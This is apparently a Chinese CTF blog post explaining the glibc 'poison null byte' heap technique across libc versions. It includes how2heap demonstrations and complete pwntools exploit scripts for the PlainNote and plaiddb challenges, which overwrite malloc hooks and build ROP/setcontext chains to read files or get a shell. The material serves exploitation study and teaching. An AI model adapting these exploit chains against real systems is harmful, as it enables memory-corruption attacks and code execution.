poison null byte

之前学的时候有点云里雾里,画了一遍图觉得清楚多了(果然美术生就要画图(*σ´∀`)σ)(例题做的真坐牢QAQ)

原理

如果对输入长度检查不严,导致chunk中内容输入多了一个零字节溢出至next chunk的size最低位,改变next chunk的size的大小
主要作用就是改变next chunk的preinuse位触发合并和造成堆块错位

利用

2.26以前

实验代码如下(来自how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

a = (uint8_t*) malloc(0x100);
int real_a_size = malloc_usable_size(a);
b = (uint8_t*) malloc(0x200);

c = (uint8_t*) malloc(0x100);

barrier = malloc(0x100);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

*(size_t*)(b+0x1f0) = 0x200;

free(b);

a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;

b1 = malloc(0x100);

b2 = malloc(0x80);

memset(b2,'B',0x80);

free(b1);
free(c);

d = malloc(0x300);
memset(d,'D',0x300);

assert(strstr(b2, "DDDDDDDDDDDD"));
}

示意图如下:

  • 以下步骤是为了控制b的size,为之后c向下合并做准备
  • 分割b是为了产生b1伪造一个在unsorted bin中的pre chunk,防止unlink报错。触发c的向下合并,再malloc回来c后我们就能完全控制b2 ps:像是形成一个三明治结构(二三层间得有个缝),然后控制中间的chunk
    pps:申请大小要大于fastbin的范围

2.26-2.28

有tcache后注意两点:

  • 申请大小要大于tcache的范围
  • heap最开始会划分一个0x290的chunk给tcache,因此要先申请一个pad chunk使起始地址0x100对齐

2.28以后

2.29增加了很多检查:

  • _int_malloc函数的for(;;)循环中unsorted bin遍历开头增加next chunk的大小合法性检查,在b2 = malloc(0x80)时会报错(这个可以绕过)
    1
    2
    3
    if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
    || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
    malloc_printerr ("malloc(): invalid next size (unsorted)");
  • _int_free向下合并时增加pre chunk的size和presize的检查,在触发c的向下合并时会报错
    1
    2
    if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
    因此有了另一种更加复杂的利用方法,实验代码如下(来自how2heap):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <assert.h>

    int main()
    {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    void *tmp = malloc(0x1);
    void *heap_base = (void *)((long)tmp & (~0xfff));

    size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;
    void *padding= malloc(size);
    //布置prev地址对齐0x1000

    void *prev = malloc(0x500);
    void *victim = malloc(0x4f0);
    malloc(0x10);

    void *a = malloc(0x4f0);
    malloc(0x10);
    void *b = malloc(0x510);
    malloc(0x10);

    free(a);
    free(b);
    free(prev);

    malloc(0x1000);

    void *prev2 = malloc(0x500);

    assert(prev == prev2);

    ((long *)prev)[1] = 0x501;
    *(long *)(prev + 0x500) = 0x500;

    void *b2 = malloc(0x510);
    ((char*)b2)[0] = '\x10';
    ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk

    void *a2 = malloc(0x4f0);
    free(a2);
    free(victim);
    void *a3 = malloc(0x4f0);
    ((char*)a3)[8] = '\x10';
    ((char*)a3)[9] = '\x00';

    void *victim2 = malloc(0x4f0);
    ((char *)victim2)[-8] = '\x00';
    /* VULNERABILITY */

    void *merged = malloc(0x100);
    memset(merged, 'A', 0x80);

    memset(prev2, 'C', 0x80);

    assert(strstr(merged, "CCCCCCCCC"));
    }
    为了绕开新加的presize的检查,我们就要保证off by null的时候只覆盖preinuse位,即size要保证0x100对齐且不存在chunk堆块的错位。那么下一步我们就需要绕开unlink对于chunk前后连接的的检查
  • 我们要布置的连接在unsorted bin中的fake chunk就是prev+0x10,那么prev的fd_nextsize和bk_nextsize就是fake chunk的fd和bk。需要fd_nextsize和bk_nextsize有效就得将prev放进large bin
  • 以上步骤完成后fake chunk的fd和bk布置完毕,接下来就是通过large bin将chunk地址写入a和b,由于我们之前已经保证了prev的地址对齐0x1000,因此申请回a和b再覆盖两字节就能完成fake chunk的连接
  • off by null触发victim的向下合并,这时我们可以通过prev2控制victim2的头部

例题

BalsnCTF 2019-PlainNote(2.29)

高版本的off by null,做的是真坐牢,但收获也不少。没找到2.29的libc所以用的2.31

静态分析

静态分析不难,需要注意的就是add函数中存在off by null漏洞,会在输入最后加一个空字符,在存在漏洞的同时也使泄露地址变得困难

以及本题存在沙箱,需要用orw读取flag

沙箱是白名单形式的,只允许read、write、open和exit的系统调用,程序中所有的输入输出都是通过read和write实现的

输出会用strlen取输出的字节数,而strlen是通过空字符确定长度的,所以不可能通过连带的方式泄露地址

思路

主要流程有四步:

  • 泄露libc基址
  • 泄露heap地址
  • 执行off by null
  • 进行orw
    执行off by null按照实验代码执行就行,orw用gadget+setcontext模板就行,主要难点在于泄露地址,所以off by null的步骤得进行一定的改进
    由于堆的基址会保持页对齐即0x1000对齐,但进行b’\x00\x10’覆盖时会把第四位也覆盖为0,所以只有当我们的prev chunk的地址的第四位为0时才能覆盖成功,也就是说在开启aslr的情况下存在一个1/16的爆破(本地做的时候可以先关闭aslr)
  • 由于init函数会使heap非常的混乱所以可以先把bin清空
  • 首先在最开始堆布局的时候prev上再加两个0x20的chunk,这样off by null之后的堆布局如下所示: 其中prev3用于off by null更改victim的presize和preinuse,prev2用于泄露
  • 在off by null结束之后申请一个0x4f0的chunk,这样我们就能通过prev2利用show函数打印fd指针
    由于我们需要泄露libc基址和heap两个地址,所以我们要先申请回0x530的chunk,然后释放一个unsorted bin范围的chunk(pad),再释放0x530的chunk,这样prev2的fd指向一个heap地址pad,再申请回pad,prev2的fd就指向unsorted bin
  • 然后我们可可以从prev2中再切下来一个tcache范围内的chunk,通过打tcache执行orw
  • orw时需要注意一点,直接执行open函数时实际调用的syscall是0x101,会被沙箱ban掉 所以要通过rax进行syscall,这里选用的是time函数和timelocal函数中间的sub_D3F40
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(size,content):
p.sendafter(b'Choice: ',b'1')
p.sendafter(b'Size: ',str(size).encode())
p.sendafter(b'Content: ',content)
def remove(index):
p.sendafter(b'Choice: ',b'2')
p.sendafter(b'Idx: ',str(index).encode())
def show(index):
p.sendafter(b'Choice: ',b'3')
p.sendafter(b'Idx: ',str(index).encode())

p=process('./note')
libc=ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
for i in range(16):#0-15
add(0x10,b'Q')
for i in range(16):#16-31
add(0x60,b'Q')
for i in range(9):#32-40
add(0x70,b'Q')
for i in range(5):#41-45
add(0xc0,b'Q')
for i in range(2):#46-47
add(0xe0,b'Q')
add(0xcf0,b'Q')#48
add(0x500,b'Q')#prev_1(49)
add(0x10,b'Q')#prev_2(50)
add(0x10,b'Q')#prev_3(51)
add(0x4f0,b'Q')#victim(52)
add(0x10,b'Q')#padding(53)
add(0x4f0,b'Q')#a(54)
add(0x10,b'Q')#padding(55)
add(0x510,b'Q')#b(56)
add(0x10,b'Q')#padding(57)
remove(49)
remove(54)
remove(56)
add(0x1000,b'Q')#49
add(0x1000,b'Q')#padding(58)
add(0x500,p64(0)+b'\x41\x05\x00\x00\x00\x00\x00')#prev1_1(54)
add(0x510,b'\x10')#b2(56)
add(0x4f0,b'Q')#a2(59)
remove(59)
remove(52)
add(0x4f0,p64(0)+b'\x10')#a3(52)
add(0x4f0,b'\x00')#victim2(59)
remove(51)
add(0x18,b'\x00'*0x10+p64(0x540))#prev1_2(51)
gdb.attach(p)
remove(59)
add(0x4f0,b'Q')#prev1_1(59)
add(0x530,b'Q')#60
remove(49)
remove(60)
show(50)
s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
heap=u64(s)-0x14d0+0xa80
print("heap:",hex(heap))
add(0x1000,b'Q')
show(50)
s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
libcbase=u64(s)-libc.symbols['__malloc_hook']-0x10-96
print("libcbase:",hex(libcbase))
add(0x530,p64(0)*3+p64(0x20))#60
remove(53)
remove(51)
free_hook=libcbase+libc.symbols['__free_hook']
remove(60)
add(0x530,p64(0)*3+p64(0x20)+p64(free_hook))
remove(52)#a3(orw)
gadget=libcbase+0x1547a0
setcontext_addr=libcbase+0x580dd
ret_addr=libcbase+0x25679
write_addr=libcbase+libc.symbols['write']
open_addr=libcbase+libc.symbols['open']
read_addr=libcbase+libc.symbols['read']
pop_rdi_addr=libcbase+0x26b72
pop_rsi_addr=libcbase+0x27529
pop_rdx_r12_addr=libcbase+0x11c1e1
pop_rax_addr=libcbase+0x4a550
syscall_addr=libcbase+0xd3f49
payload=b'./flag\x00\x00'+p64(heap)+p64(0)*2+p64(setcontext_addr)+b'\x00'*(0xa0-0x28)+p64(heap+0x100)+p64(ret_addr)+b'\x00'*(0x100-0xb0)
payload+=p64(pop_rdi_addr)+p64(heap)+p64(pop_rsi_addr)+p64(0)+p64(pop_rax_addr)+p64(2)+p64(syscall_addr)
payload+=p64(pop_rdi_addr)+p64(3)+p64(pop_rsi_addr)+p64(heap+0x300)+p64(pop_rdx_r12_addr)+p64(0x50)+p64(0)+p64(read_addr)
payload+=p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(heap+0x300)+p64(pop_rdx_r12_addr)+p64(0x50)+p64(0)+p64(write_addr)
add(0x4f0,payload)
add(0x10,b'Q')
add(0x10,p64(gadget))
#gdb.attach(p)
remove(52)
print(p.recv())
#gdb.attach(p)
pause()

PlaidCTF 2015-plaiddb(2.19)

低版本的off by null,忘记了有个东西叫二叉树是我的错(^_^),由于是2015年的题所以2.19的libc多少有点离谱了,用的2.23的libc

静态分析

在不需要理会平衡树的具体算法的情况下只需要注意一点,读入key的sub_1040函数中存在off by null漏洞

realloc的大致逻辑是如果堆块能够向上拓展的话就向上拓展,如果不能,就重新分配堆块

思路

由于程序会申请一些0x20和0x40的堆块作为key和chunk,这样会使heap结构变得复杂,所以可以先申请一些备用

这样我们进行利用的就只是用于data的堆块了,由于data的大小是可控的所以这样利用起来更加方便

由于要利用key的off by null,所以可以先释放一个data再占用这个地址的chunk作为key
其余步骤和上一题类似,申请六个堆块,靠近top chunk的chunk用于防合并,首尾两个chunk用于触发unsorted bin向下合并,中间0x70的chunk用于fastbin attack,剩下两个chunk一个用于泄露libc,一个用于off by null
ps:one_gadget都不可用,需要用realloc调整栈内容

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.arch='amd64'
context.os='linux'
context.log_level='debug'

def put(key,size,data):
p.sendlineafter(b'PROMPT: Enter command:\n',b'PUT')
p.sendlineafter(b'PROMPT: Enter row key:\n',key)
p.sendlineafter(b'PROMPT: Enter data size:\n',str(size).encode())
p.sendafter(b'PROMPT: Enter data:\n',data)
def get(key):
p.sendlineafter(b'PROMPT: Enter command:\n',b'GET')
p.sendlineafter(b'PROMPT: Enter row key:\n',key)
def dump():
p.sendlineafter(b'PROMPT: Enter command:\n',b'DUMP')
def delete(key):
p.sendlineafter(b'PROMPT: Enter command:\n',b'DEL')
p.sendlineafter(b'PROMPT: Enter row key:\n',key)

p=process('./datastore.elf')
libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
for i in range(20):
put(str(i),1,b'0')
for i in range(20):
delete(str(i))
put(b'1',0xf0,b'1'*0xf0)#unsorted bin
put(b'2',0xf0,b'2'*0xf0)#leak
put(b'3',0x60,b'3'*0x60)#fastbin attack
put(b'4',0xf0,b'4'*0xf0)#off by null
put(b'5',0xf0,b'5'*0xf0)#unsorted bin
put(b'6',0x60,b'6'*0x60)#barrier
gdb.attach(p)
delete(b'4')
put(b'7'*0xf0+p64(0x370),1,b'7')
delete(b'1')
delete(b'5')
put(b'8',0xf0,b'8'*0xf0)
get(b'2')
p.recvuntil(b'\n')
s=p.recvuntil(b'\x7f').ljust(8,b'\x00')
libcbase=u64(s)-0x68-libc.symbols['__malloc_hook']
print(hex(libcbase))
delete(b'3')
put(b'9',0x160,b'Q'*0xf0+p64(0)+p64(0x70)+p64(libcbase+libc.symbols['__malloc_hook']-0x23)+p64(0)+b'Q'*0x50)
put(b'10',0x60,b'Q'*0x60)
put(b'11',0x60,b'\x00'*(0x13-8)+p64(libcbase+0xf0897)+p64(libcbase+libc.symbols['realloc'])+b'\x00'*(0x60-0x13-8))
#gdb.attach(p)
p.sendlineafter(b'PROMPT: Enter command:\n',b'PUT')
#put(b'12',1,b'a')
p.interactive()
#gdb.attach(p)
#pause()

poison null byte
http://akaieurus.github.io/2023/02/04/poison-null-byte/
作者
Eurus
发布于
2023年2月4日
许可协议